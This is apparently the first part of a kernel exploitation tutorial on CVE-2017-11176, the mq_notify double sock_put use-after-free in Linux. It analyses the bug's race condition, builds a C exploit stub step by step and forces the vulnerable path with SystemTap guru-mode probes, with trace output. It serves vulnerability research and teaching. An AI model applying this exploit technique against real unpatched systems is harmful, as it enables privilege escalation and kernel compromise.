    [2a]      sock = netlink_getsockbyfilp(filp);
    [2b]      fput(filp);
              if (IS_ERR(sock)) {
                ret = PTR_ERR(sock);
                sock = NULL;
    [3]         goto out;
              }
    
              timeo = MAX_SCHEDULE_TIMEOUT;
    [4]       ret = netlink_attachskb(sock, nc, &timeo, NULL);
              if (ret == 1)
    [5a]        goto retry;
              if (ret) {
                sock = NULL;
                nc = NULL;
    [5b]        goto out;
              }
    
    [5c]    // ... cut (normal path) ...
    
          out:
            if (sock) {
              netlink_detachskb(sock, nc);
            } else if (nc) {
              dev_kfree_skb(nc);
            }
            return ret;
          }
    
[/code]

The previous code begins by taking a reference on a _struct file_ object based
on a user provided file descriptor \[0\]. If such fd does not exist in the
current process **file descriptor table \(fdt\)** , a NULL pointer is returned
and the code goes into the _exit path_ \[1\].

Otherwise, a reference is taken on the _struct sock_ object associated to that
file \[2a\]. If there is no valid _struct sock_ object associated \(not
existent or bad type\), the pointer to _sock_ is reset to NULL and the code
goes into the exit path \[3\]. In both cases, the previous _struct file_
reference is dropped \[2b\].

Finally, there is a call to **netlink\_attachskb\(\)** \[4\] which tries to
enqueue a _struct sk\_buff_ \(nc\) to a _struct sock_ receive queue. From
there, there is three possible outcomes:

  1. Everything went fine, the code continues in the normal path \[5c\].
  2. The function returns 1, in that case the code jumps back to the **retry label** \[5a\]. That is, the "retry logic".
  3. Otherwise, both the _nc_ and the _sock_ are set to NULL, and the code jumps to the _exit path_ \[5b\].

## Why setting "sock" to NULL matters?

To answer this question, let's ask ourselves: what will happen if it is _not_
NULL? The response is:

[code]

      out:
        if (sock) {
          netlink_detachskb(sock, nc);  // <----- here
        } 
    
[/code]

[code]

        // from [net/netlink/af_netlink.c]
    
        void netlink_detachskb(struct sock *sk, struct sk_buff *skb)
        {
          kfree_skb(skb);
          sock_put(sk);       // <----- here
        }
    
[/code]

[code]

        // from [include/net/sock.h]
    
        /* Ungrab socket and destroy it if it was the last reference. */
        static inline void sock_put(struct sock *sk)
        {
          if (atomic_dec_and_test(&sk->sk_refcnt))    // <----- here
            sk_free(sk);
        }
    
[/code]

In other words, if _sock_ is not _NULL_ during the _exit path_ , **its
reference counter \(_sk\_refcnt_\) will be unconditionally decreased by 1**.

As the patch stated, there is an issue with the refcounting on the _sock_
object. But where is this refcounting initially incremented? If we look at the
**netlink\_getsockbyfilp\(\)** code \(called in \[2a\] in previous listing\),
we have:

[code]

        // from [net/netlink/af_netlink.c]
    
        struct sock *netlink_getsockbyfilp(struct file *filp)
        {
          struct inode *inode = filp->f_path.dentry->d_inode;
          struct sock *sock;
    
          if (!S_ISSOCK(inode->i_mode))
            return ERR_PTR(-ENOTSOCK);
    
          sock = SOCKET_I(inode)->sk;
          if (sock->sk_family != AF_NETLINK)
            return ERR_PTR(-EINVAL);
    
    [0]   sock_hold(sock);    // <----- here
          return sock;
        }
    
[/code]

[code]

        // from [include/net/sock.h]
    
        static inline void sock_hold(struct sock *sk)
        {
          atomic_inc(&sk->sk_refcnt);   // <------ here
        }
    
[/code]

So, the _sock_ object's refcounter is incremented \[0\] very early in the
retry logic.

Since the counter is unconditionally incremented by
_netlink\_getsockbyfilp\(\)_ , and decremented by _netlink\_detachskb\(\)_
\(if _sock_ is not NULL\). It means that _netlink\_attachskb\(\)_ should
somehow be neutral regarding refcounter.

Here is a simplified version of the _netlink\_attachskb\(\)_ code:

[code]

        // from [net/netlink/af_netlink.c]
    
        /*
         * Attach a skb to a netlink socket.
         * The caller must hold a reference to the destination socket. On error, the
         * reference is dropped. The skb is not sent to the destination, just all
         * all error checks are performed and memory in the queue is reserved.
         * Return values:
         * < 0: error. skb freed, reference to sock dropped.
         * 0: continue
         * 1: repeat lookup - reference dropped while waiting for socket memory.
         */
    
        int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
                  long *timeo, struct sock *ssk)
        {
          struct netlink_sock *nlk;
    
          nlk = nlk_sk(sk);
    
          if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
    
            // ... cut (wait until some conditions) ...
    
            sock_put(sk);         // <----- refcnt decremented here
    
            if (signal_pending(current)) {
              kfree_skb(skb);
              return sock_intr_errno(*timeo); // <----- "error" path
            }
            return 1;   // <----- "retry" path
          }
          skb_set_owner_r(skb, sk);   // <----- "normal" path
          return 0;
        }
    
[/code]

Function netlink\_attachskb\(\) has basically two paths:

  1. Normal path: the _skb_ ownership is transferred to the _sock_ \(i.e. enqueued in the sock receive queue\).
  2. Socket's receive buffer is full: wait until there is enough room and retry or quit on error.

As the top-commentary says: _The caller must hold a reference to the
destination socket. On error, the**reference is dropped**._ Yes,
_netlink\_attachskb\(\)_ has a side-effect on sock refcounter\!

Since, _netlink\_attachskb\(\)_ may release a refcounter \(only one was taken
with _netlink\_getsockbyfilp\(\)_\), it is the caller responsibility **not to
release it a second time**. This is achieved by setting _sock_ to NULL\! This
is properly done on the "error" path \(netlink\_attachskb\(\) returns negative
value\), but not on the "retry" path \(_netlink\_attachskb\(\)_ returns 1\)
and this is what the patch is all about.

So far, we now know what is wrong with the _sock_ variable refcounting \(it is
released a second time under certain conditions\), as well as, the retry logic
\(it does not reset _sock_ to NULL\).

## What about the "race condition"?

The patch mentioned something about a "small window" \(i.e. race condition\)
related to a "closed fd" stuff. Why?

Let's look again at the very beginning of the _retry path_ :

[code]

        sock = NULL;  // <----- first loop only
        retry:
              filp = fget(notification.sigev_signo);
              if (!filp) {
                ret = -EBADF;
                goto out;         // <----- what about this?
              }
              sock = netlink_getsockbyfilp(filp);
    
[/code]

This _error handling_ path might look innocent during the _first loop_. But,
remember, during the _second loop_ \(i.e. after "goto retry"\), **_sock_ is
not NULL anymore** \(and a ref has been already dropped\). So, it directly
jumps to "out", and hits the first condition...

[code]

        out:
          if (sock) {
            netlink_detachskb(sock, nc);
          }
    
[/code]

..._sock_ 's refcounter is decremented a second time\! **This is a double
_sock\_put\(\)_ bug**.

One might wonder why we would hit this condition \(_fget\(\)_ returns NULL\)
during the second loop since it was not true during the first loop. This is
the **race condition** aspect of that bug. We will see how to do it in the
next section.

## Attack Scenario

Assuming a file descriptor table can be shared between two threads, consider
the following sequence:

[code]

    Thread-1                            | Thread-2              | file refcnt | sock refcnt | sock ptr           |
    ------------------------------------+-----------------------+-------------+-------------+--------------------+
     mq_notify()                        |                       | 1           | 1           | NULL               |
                                        |                       |             |             |                    |
      fget(<TARGET_FD>) -> ok           |                       | 2 (+1)      | 1           | NULL               |
                                        |                       |             |             |                    |
      netlink_getsockbyfilp() -> ok     |                       | 2           | 2 (+1)      | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      fput(<TARGET_FD>) -> ok           |                       | 1 (-1)      | 2           | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      netlink_attachskb() -> returns 1  |                       | 1           | 1 (-1)      | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
                                        | close(<TARGET_FD>)    | 0 (-1)      | 0 (-1)      | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      goto retry                        |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      fget(<TARGET_FD) -> returns NULL  |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      goto out                          |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      netlink_detachskb() -> UAF!       |                       | FREE        | (-1) in UAF | 0xffffffc0aabbccdd |
    
[/code]

The **close\(TARGET\_FD\)** syscall invokes _fput\(\)_ \(which decreases the
reference counter of a _struct file_ object by one\) and removes the mapping
from the given file descriptor \(TARGET\_FD\) to the referenced file. That is,
is the set _fdt\[TARGET\_FD\]_ entry to NULL. Since calling
**close\(TARGET\_FD\)** released the last reference of its associated _struct
file_ , it will be freed.

Since the _struct file_ is freed, it drops the reference to its associated
_struct sock_ \(i.e. refcounter will be decreased by one\). Again, since the
_sock_ refcounter also hits zero, it is freed. At this time, the _sock_
pointer is a _dangling pointer_ which has not been reset to NULL.

The second call to _fget\(\)_ will fail \(the fd does not point to any valid
struct file in the FDT\) and directly jump to "out" label. Then
_netlink\_detachskb\(\)_ will be called with a pointer to freed data, which
causes a **use-after-free**\!

Again, the use-after-free is the consequence, not the bug.

This is why the patch mentioned a "closed fd" thing. It is **a necessary
condition to actually trigger the bug**. And because the _close\(\)_ happens
at a very specific time in another thread, it is a "race".

So far, we've got everything needed to understand the bug and how to trigger
it. We need to satisfy two conditions:

  1. On the first retry loop, a call to _netlink\_attachskb\(\)_ should return 1.
  2. On the second retry loop, the call to _fget\(\)_ should return _NULL_.

In other words, when we return from the _mq\_notify\(\)_ syscall, the _sock_
's refcounter has been decremented by one and we created an imbalance. Because
the sock refcounter was set to one before entering _mq\_notify\(\)_ , it is
used after being freed by the end of the syscall \(in
_netlink\_detachskb\(\)_\).

* * *
# Reaching the Retry Logic

In the previous section, we analyzed the bug and designed an attack scenario
to trigger it. In this section, we will see how we can reach the vulnerable
code \(that is the retry label\) and start coding the exploit.

In fact, before implementing anything, one must check that the bug is _a
priori_ exploitable. If we can't even reach the vulnerable code path \(because
of security checks\) there is no reason to continue.

## Analyzing the code before the retry label

Like most system calls, _mq\_notify_ starts by making a local copy of userland
data using **copy\_from\_user\(\)** function:

[code]

        SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
            const struct sigevent __user *, u_notification)
        {
          int ret;
          struct file *filp;
          struct sock *sock;
          struct inode *inode;
          struct sigevent notification;
          struct mqueue_inode_info *info;
          struct sk_buff *nc;
    
    [0]   if (u_notification) {
    [1]     if (copy_from_user(&notification, u_notification,
                  sizeof(struct sigevent)))
              return -EFAULT;
          }
    
          audit_mq_notify(mqdes, u_notification ? &notification : NULL);  // <--- you can ignore this
    
[/code]

The code checks that the userland provided argument _u\_notification_ is not
NULL \[0\] and uses it to make a local copy into \[1\] kernel memory
\(_notification_\).

Next, we see a series of _sanity_ checks based on the userland-provided
**struct sigevent** :

[code]

          nc = NULL;
          sock = NULL;
    [2]   if (u_notification != NULL) {
    [3a]     if (unlikely(notification.sigev_notify != SIGEV_NONE &&
                   notification.sigev_notify != SIGEV_SIGNAL &&
                   notification.sigev_notify != SIGEV_THREAD))
              return -EINVAL;
    [3b]    if (notification.sigev_notify == SIGEV_SIGNAL &&
              !valid_signal(notification.sigev_signo)) {
              return -EINVAL;
            }
    [3c]    if (notification.sigev_notify == SIGEV_THREAD) {
              long timeo;
    
              /* create the notify skb */
              nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);
              if (!nc) {
                ret = -ENOMEM;
                goto out;
              }
    [4]       if (copy_from_user(nc->data,
                  notification.sigev_value.sival_ptr,
                  NOTIFY_COOKIE_LEN)) {
                ret = -EFAULT;
                goto out;
              }
    
              /* TODO: add a header? */
              skb_put(nc, NOTIFY_COOKIE_LEN);
              /* and attach it to the socket */
    
        retry:                                    // <---- we want to reach this!
                filp = fget(notification.sigev_signo);
    
[/code]

If the provided argument is non-NULL \[2\], the _sigev\_notify_ value is
checked three times \(\[3a\], \[3b\], \[3c\]\). Another _copy\_from\_user\(\)_
is invoked at \[4\] based on the user-provided
_notification.sigev\_value\_sival\_ptr_ value. This needs to point to a valid
userland _readable_ data/buffer, otherwise _copy\_from\_user\(\)_ will fail.

As a reminder, the _struct sigevent_ is declared here:

[code]

        // [include/asm-generic/siginfo.h]
    
        typedef union sigval {
          int sival_int;
          void __user *sival_ptr;
        } sigval_t;
    
        typedef struct sigevent {
          sigval_t sigev_value;
          int sigev_signo;
          int sigev_notify;
          union {
            int _pad[SIGEV_PAD_SIZE];
             int _tid;
    
            struct {
              void (*_function)(sigval_t);
              void *_attribute; /* really pthread_attr_t */
            } _sigev_thread;
          } _sigev_un;
        } sigevent_t;
    
[/code]

In the end, to enter the _retry path_ at least once, we need to proceed as
follows:

  1. Provide a non-NULL _u\_notification_ argument
  2. Set _u\_notification.sigev\_notify_ to _SIGEV\_THREAD_
  3. The value pointed by _notification.sigev\_value.sival\_ptr_ must be a valid _readable userland_ address of at least _NOTIFY\_COOKIE\_LEN \(=32\)_ bytes \(cf. \[include/linux/mqueue.h\]\)

## The first exploit stub

Let's start coding the exploit and validate that everything is fine.

[code]

        /*
         * CVE-2017-11176 Exploit.
         */
    
        #include <mqueue.h>
        #include <stdio.h>
        #include <string.h>
    
    
        #define NOTIFY_COOKIE_LEN (32)
    
    
        int main(void)
        {
          struct sigevent sigev;
          char sival_buffer[NOTIFY_COOKIE_LEN];
    
          printf("-={ CVE-2017-11176 Exploit }=-\n");
    
          // initialize the sigevent structure
          memset(&sigev, 0, sizeof(sigev));
          sigev.sigev_notify = SIGEV_THREAD;
          sigev.sigev_value.sival_ptr = sival_buffer;
    
          if (mq_notify((mqd_t)-1, &sigev))
          {
            perror("mqnotify");
            goto fail;
          }
          printf("mqnotify succeed\n");
    
          // TODO: exploit
    
          return 0;
    
        fail:
          printf("exploit failed!\n");
          return -1;
        }
    
[/code]

It is recommended to use a _Makefile_ to ease the exploit development
\(_build-and-run_ scripts are always handy\). In order to compile it, you will
need to link the binary with the **-lrt** flags that is required to use
_mq\_notify_ \(from the 'man'\). In addition, it is recommenced to use the
**-O0** option to prevent gcc from re-ordering our code \(it can lead to hard-
to-debug bugs\).

[code]

    -={ CVE-2017-11176 Exploit }=-
    mqnotify: Bad file descriptor
    exploit failed!
    
[/code]

Alright, _mq\_notify_ returned "Bad file descriptor" which is equivalent to
"-EBADF". There are three places where this error is emitted. It could be one
of the _fget\(\)_ calls, or the later _\(filp- >f\_op \!=
&mqueue\_file\_operations\)_ check. Let's figure it out\!

## Hello System Tap\!

During early stage of exploit development, it is _highly recommended_ to run
the exploit in a kernel with debug symbols, it allows to use **SystemTap**\!
SystemTap is a great tool to live probe the kernel without going into gdb. It
makes sequence visualization easy.

Let's start with basic System Tap \(stap\) scripts:

[code]

        # mq_notify.stp
    
        probe syscall.mq_notify
        {
          if (execname() == "exploit")
          {
            printf("\n\n(%d-%d) >>> mq_notify (%s)\n", pid(), tid(), argstr)
          }
        }
    
        probe syscall.mq_notify.return
        {
          if (execname() == "exploit")
          {
            printf("(%d-%d) <<< mq_notify = %x\n\n\n", pid(), tid(), $return)
          }
        }
    
[/code]

The previous script installs two probes that will be respectively called
**before** and **after** the syscall invocation.

Dumping both the _pid\(\)_ and _tid\(\)_ helps a lot while debugging multiple
threads. In addition, using the _\(execname\(\) == "exploit"\)_ clause allows
to limit the output.

**WARNING** : If there is _too much_ output, systemtap might silently discard
some lines\!

Now run the script with...

[code]

    stap -v mq_notify.stp
    
[/code]

...and launch the exploit:

[code]

    (14427-14427) >>> mq_notify (-1, 0x7ffdd7421400)
    (14427-14427) <<< mq_notify = fffffffffffffff7
    
[/code]

Alright, the probes seem to work. We can see that both arguments of the
_mq\_notify\(\)_ syscall somehow match our own call \(i.e. we set "-1" in the
first parameter and 0x7ffdd7421400 looks like a userland address\). It also
returned fffffffffffffff7, that is _-EBADF_ \(=-9\). Let's add some more
probes.

Unlike _syscall_ hooks \(function starting with "SYSCALL\_DEFINE\*"\), normal
kernel functions can be hooked with the following syntax:

[code]

        probe kernel.function ("fget")
        {
          if (execname() == "exploit")
          {
            printf("(%d-%d) [vfs] ==>> fget (%s)\n", pid(), tid(), $$parms)
          }
        }
    
[/code]

**WARNING** : For some reason, not all kernel functions are hookable. For
instance "inlined" might or might not be hookable \(it depends if the inlining
actually occurred\). In addition, some functions \(e.g. copy\_from\_user\(\)
here\) can have a hook **before** the call but not **after** \(i.e. while
returning\). In any case, System Tap will notify you and refuses to launch the
script.

Let's add a probe to every function invoked in _mq\_notify\(\)_ to see the
code flowing and re-run the exploit:

[code]

    (17850-17850) [SYSCALL] ==>> mq_notify (-1, 0x7ffc30916f50)
    (17850-17850) [uland] ==>> copy_from_user ()
    (17850-17850) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
    (17850-17850) [uland] ==>> copy_from_user ()
    (17850-17850) [skb] ==>> skb_put (skb=0xffff88002e061200 len=0x20)
    (17850-17850) [skb] <<== skb_put = ffff88000a187600
    (17850-17850) [vfs] ==>> fget (fd=0x3)
    (17850-17850) [vfs] <<== fget = ffff88002e271280
    (17850-17850) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88002e271280)
    (17850-17850) [netlink] <<== netlink_getsockbyfilp = ffff88002ff82800
    (17850-17850) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200 timeo=0xffff88002e1f3f40 ssk=0x0)
    (17850-17850) [netlink] <<== netlink_attachskb = 0
    (17850-17850) [vfs] ==>> fget (fd=0xffffffff)
    (17850-17850) [vfs] <<== fget = 0
    (17850-17850) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200)
    (17850-17850) [netlink] <<== netlink_detachskb
    (17850-17850) [SYSCALL] <<== mq_notify= -9
    
[/code]

## The first bug\!

It seems that we correctly reach the _retry path_ since we have the following
sequence:

  1. **copy\_from\_user** : our pointer is not null
  2. **alloc\_skb** : we passed the SIGEV\_THREAD condition
  3. **copy\_from\_user** : picking our _sival\_buffer_
  4. **skb\_put** : means the previous _copy\_from\_user\(\)_ did not fail
  5. **fget\(fd=0x3\)** : <\--- ???

Hmm... something is already wrong... We did not provide any file descriptor in
**notification.sigev\_signo** , it is supposed to be zero \(not 3\):

[code]

          // initialize the sigevent structure
          memset(&sigev, 0, sizeof(sigev));
          sigev.sigev_notify = SIGEV_THREAD;
          sigev.sigev_value.sival_ptr = sival_buffer;
    
[/code]

Nevertheless, the first call to _fget\(\)_ didn't fail. In addition both
_netlink\_getsockbyfilp\(\)_ and _netlink\_attachskb\(\)_ worked\! That is
also odd since we didn't create any _AF\_NETLINK_ socket.

This is the **second _fget\(\)_** that actually failed because we set "-1"
\(0xffffffff\) in the first argument of _mq\_notify\(\)_. So, what's wrong?

Let's pull back and print our **sigevent** pointer, and compare it with the
value passed to the syscall:

[code]

      printf("sigev = 0x%p\n", &sigev);
      if (mq_notify((mqd_t) -1, &sigev))
    
[/code]

[code]

    -={ CVE-2017-11176 Exploit }=-
    sigev = 0x0x7ffdd9257f00        // <------
    mq_notify: Bad file descriptor
    exploit failed!
    
[/code]

[code]

    (18652-18652) [SYSCALL] ==>> mq_notify (-1, 0x7ffdd9257e60)
    
[/code]

Obviously, the structure passed to the _syscall_ mq\_notify _is not_ the same
we provided in our exploit. It means that either _system tap_ is bugged \(that
is possible\) or...

**...we've just been screwed by some library wrapper\!**

Let's fix this and invoke _mq\_notify_ through the **syscall\(\)** syscall.

First add the following headers, as well as our _own_ wrapper:

[code]

        #define _GNU_SOURCE
        #include <unistd.h>
        #include <sys/syscall.h>
    
        #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
    
[/code]

Also, remember to remove that "-lrt" line in the Makefile \(we now use the
syscall directly\).

Explicitly set _sigev\_signo_ to '-1' since 0 is actually a valid file
descriptor, and uses the wrapper:

[code]

          int main(void)
          {
            // ... cut ...
    
            sigev.sigev_signo = -1;
    
            printf("sigev = 0x%p\n", &sigev);
            if (_mq_notify((mqd_t)-1, &sigev))
    
            // ... cut ...
          }
    
[/code]

And run it:

[code]

    -={ CVE-2017-11176 Exploit }=-
    sigev = 0x0x7fffb7eab660
    mq_notify: Bad file descriptor
    exploit failed!
    
    (18771-18771) [SYSCALL] ==>> mq_notify (-1, 0x7fffb7eab660)           // <--- as expected!
    (18771-18771) [uland] ==>> copy_from_user ()
    (18771-18771) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
    (18771-18771) [uland] ==>> copy_from_user ()
    (18771-18771) [skb] ==>> skb_put (skb=0xffff88003d2e95c0 len=0x20)
    (18771-18771) [skb] <<== skb_put = ffff88000a0a2200
    (18771-18771) [vfs] ==>> fget (fd=0xffffffff)                         // <---- that's better!
    (18771-18771) [vfs] <<== fget = 0
    (18771-18771) [SYSCALL] <<== mq_notify= -9
    
[/code]

This time, we directly go into the _out_ label after the first failed
_fget\(\)_ \(as expected\).

So far, we know that we can reach the "retry" label \(at least once\) without
being stopped by any security check. A common trap has been exposed \(caused
by library wrapper instead of syscall\), and we saw how to fix it. In order to
avoid the same kind of bug in the future, we will wrap every syscall.

Let's move on and trigger the bug with the help of System Tap.

* * *
# Forcing the Trigger

Sometimes you quickly want to **validate an idea without unrolling all the
kernel code**. In this section, we will use _System Tap Guru Mode_ to modify
kernel data structures and force a particular kernel path.

In other words, we will **trigger the bug from kernel-land**. The idea is that
if we can't even trigger it from kernel-land, there is no way we can do it
from user-land. So, let's satisfy every requirement first by modifying the
kernel, and then implement them one-by-one in userland \(cf. part 2\).

As a reminder, we can trigger the bug if:

  1. We reach the "retry logic" \(loop back to the retry label\). That is, we need to enter _netlink\_attachskb\(\)_ first, and make it return 1. The _sock_ refcounter will be decreased by one.
  2. After looping back to the _retry_ label \(goto retry\), the next call to _fget\(\)_ must return NULL, so we can hit the exit path \(_out_ label\) and decrease _sock_ 's refcounter a second time.

## Reaching _netlink\_attachskb\(\)_

In the previous section, we showed that it is required that
**netlink\_attachskb\(\)** returns 1 to trigger the bug. However, there are
several requirements before reaching it:

  1. We need to provide a _valid_ file descriptor, so the first call to _fget\(\)_ doesn't fail
  2. The file pointed by the file descriptor should be a **socket of type _AF\_NETLINK_**

That is, we should pass all checks gracefully:

[code]

        retry:
    [0]       filp = fget(notification.sigev_signo);
              if (!filp) {
                ret = -EBADF;
                goto out;
              }
    [1]       sock = netlink_getsockbyfilp(filp);
              fput(filp);
              if (IS_ERR(sock)) {
                ret = PTR_ERR(sock);
                sock = NULL;
                goto out;
              }
    
[/code]

Passing the first check \[0\] is easy, just provide a valid file descriptor
\(with _open\(\)_ , _socket\(\)_ , whatever\). Nevertheless, it is better to
directly use the proper type otherwise the second check \[1\] will fail:

[code]

        struct sock *netlink_getsockbyfilp(struct file *filp)
        {
          struct inode *inode = filp->f_path.dentry->d_inode;
          struct sock *sock;
    
          if (!S_ISSOCK(inode->i_mode))         // <--- this need to be a socket...
            return ERR_PTR(-ENOTSOCK);
    
          sock = SOCKET_I(inode)->sk;
          if (sock->sk_family != AF_NETLINK)    // <--- ...from the AF_NETLINK family
            return ERR_PTR(-EINVAL);
    
          sock_hold(sock);
          return sock;
        }
    
[/code]

The exploit code becomes \(remember to wrap the syscall _socket\(\)_\):

[code]

        /*
         * CVE-2017-11176 Exploit.
         */
    
        #define _GNU_SOURCE
        #include <mqueue.h>
        #include <stdio.h>
        #include <string.h>
        #include <unistd.h>
        #include <sys/syscall.h>
        #include <sys/types.h>
        #include <sys/socket.h>
        #include <linux/netlink.h>
    
        #define NOTIFY_COOKIE_LEN (32)
    
        #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
        #define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
    
        int main(void)
        {
          struct sigevent sigev;
          char sival_buffer[NOTIFY_COOKIE_LEN];
          int sock_fd;
    
          printf("-={ CVE-2017-11176 Exploit }=-\n");
    
          if ((sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC)) < 0)
          {
            perror("socket");
            goto fail;
          }
          printf("netlink socket created = %d\n", sock_fd);
    
          // initialize the sigevent structure
          memset(&sigev, 0, sizeof(sigev));
          sigev.sigev_notify = SIGEV_THREAD;
          sigev.sigev_value.sival_ptr = sival_buffer;
          sigev.sigev_signo = sock_fd;  // <--- not '-1' anymore
    
          if (_mq_notify((mqd_t)-1, &sigev))
          {
            perror("mq_notify");
            goto fail;
          }
          printf("mq_notify succeed\n");
    
          // TODO: exploit
    
          return 0;
    
        fail:
          printf("exploit failed!\n");
          return -1;
        }
    
[/code]

Let's run it:

[code]

    -={ CVE-2017-11176 Exploit }=-
    netlink socket created = 3
    mq_notify: Bad file descriptor
    exploit failed!
    
    (18998-18998) [SYSCALL] ==>> mq_notify (-1, 0x7ffce9cf2180)
    (18998-18998) [uland] ==>> copy_from_user ()
    (18998-18998) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
    (18998-18998) [uland] ==>> copy_from_user ()
    (18998-18998) [skb] ==>> skb_put (skb=0xffff88003d1e0480 len=0x20)
    (18998-18998) [skb] <<== skb_put = ffff88000a0a2800
    (18998-18998) [vfs] ==>> fget (fd=0x3)                                          // <--- this time '3' is expected
    (18998-18998) [vfs] <<== fget = ffff88003cf14d80                                // PASSED
    (18998-18998) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003cf14d80)
    (18998-18998) [netlink] <<== netlink_getsockbyfilp = ffff88002ff60000           // PASSED
    (18998-18998) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480 timeo=0xffff88003df8ff40 ssk=0x0)
    (18998-18998) [netlink] <<== netlink_attachskb = 0                              // UNWANTED BEHAVIOR
    (18998-18998) [vfs] ==>> fget (fd=0xffffffff)
    (18998-18998) [vfs] <<== fget = 0
    (18998-18998) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480)
    (18998-18998) [netlink] <<== netlink_detachskb
    (18998-18998) [SYSCALL] <<== mq_notify= -9
    
[/code]

It really looks like the first _buggy_ stap trace, the difference here is that
we _actually_ control every data \(file descriptor, sigev\), nothing is hidden
behind a library. Since neither the first **fget\(\)** nor
**netlink\_getsockbyfilp\(\)** returned _NULL_ , we can safely assume that we
passed both checks.

## Forcing netlink\_attachskb\(\) to take the retry path

With the previous code, we reached **netlink\_attachskb\(\)** which returned
0. It means we went into the "normal" path. We don't want this behavior, we
want to get into the "retry" path \(returns 1\). So, let's get back to the
kernel code:

[code]

        int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
                  long *timeo, struct sock *ssk)
        {
          struct netlink_sock *nlk;
    
          nlk = nlk_sk(sk);
    
    [0]   if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
            DECLARE_WAITQUEUE(wait, current);
            if (!*timeo) {
              // ... cut (never reached in our code path) ...
            }
    
            __set_current_state(TASK_INTERRUPTIBLE);
            add_wait_queue(&nlk->wait, &wait);
    
            if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
                !sock_flag(sk, SOCK_DEAD))
              *timeo = schedule_timeout(*timeo);
    
            __set_current_state(TASK_RUNNING);
            remove_wait_queue(&nlk->wait, &wait);
            sock_put(sk);
    
            if (signal_pending(current)) {
              kfree_skb(skb);
              return sock_intr_errno(*timeo);
            }
            return 1;                             // <---- the only way
          }
          skb_set_owner_r(skb, sk);
          return 0;
        }
    
[/code]

The **only way** to have _netlink\_attachskb\(\)_ returning "1" requires that
we first pass the check \[0\]:

[code]

        if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))
    
[/code]

It is time to unleash the _true power_ of System Tap and enter: **the Guru
Mode**\! The Guru Mode allows to write embedded "C" code that can be called by
our probes. It is like writing kernel code directly that will be injected at
runtime, much like a Linux Kernel Module \(LKM\). Because of this, any
programming error here will make the kernel crash\! You are now a kernel
developer :-\).

What we will do here, is to modify either the _struct sock_ "sk" and/or
_struct netlink\_sock_ "nlk" data structures, so the condition becomes true.
However, before doing it, let's grab some useful information about the current
_struct sock_ **sk** state.

Let's modify the _netlink\_attachskb\(\)_ probe and add some "embedded" C code
\(the "%\{" and "%\}" parts\).

[code]

        %{
        #include <net/sock.h>
        #include <net/netlink_sock.h>
        %}
    
        function dump_netlink_sock:long (arg_sock:long)
        %{
          struct sock *sk = (void*) STAP_ARG_arg_sock;
          struct netlink_sock *nlk = (void*) sk;
    
          _stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);
          _stp_printf("- sk = %p\n", sk);
          _stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);
          _stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);
          _stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);
    
          _stp_printf("- nlk->state = %x\n", (nlk->state & 0x1));
    
          _stp_printf("-={ dump_netlink_sock: END}=-\n");
        %}
    
        probe kernel.function ("netlink_attachskb")
        {
          if (execname() == "exploit")
          {
            printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)
    
            dump_netlink_sock($sk);
          }
        }
    
[/code]

**WARNING** : Again, the code here runs in kernel-land, any error will make
the kernel crash.

Run system tap with the **-g** \(i.e. guru\) modifier:

[code]

    -={ CVE-2017-11176 Exploit }=-
    netlink socket created = 3
    mq_notify: Bad file descriptor
    exploit failed!
    
    (19681-19681) [SYSCALL] ==>> mq_notify (-1, 0x7ffebaa7e720)
    (19681-19681) [uland] ==>> copy_from_user ()
    (19681-19681) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
    (19681-19681) [uland] ==>> copy_from_user ()
    (19681-19681) [skb] ==>> skb_put (skb=0xffff88003d1e05c0 len=0x20)
    (19681-19681) [skb] <<== skb_put = ffff88000a0a2200
    (19681-19681) [vfs] ==>> fget (fd=0x3)
    (19681-19681) [vfs] <<== fget = ffff88003d0d5680
    (19681-19681) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003d0d5680)
    (19681-19681) [netlink] <<== netlink_getsockbyfilp = ffff880036256800
    (19681-19681) [netlink] ==>> netlink_attachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0 timeo=0xffff88003df5bf40 ssk=0x0)
    
    -={ dump_netlink_sock: 0xffff880036256800 }=-
    - sk = 0xffff880036256800
    - sk->sk_rmem_alloc = 0         // <-----
    - sk->sk_rcvbuf = 133120        // <-----
    - sk->sk_refcnt = 2
    - nlk->state = 0                // <-----
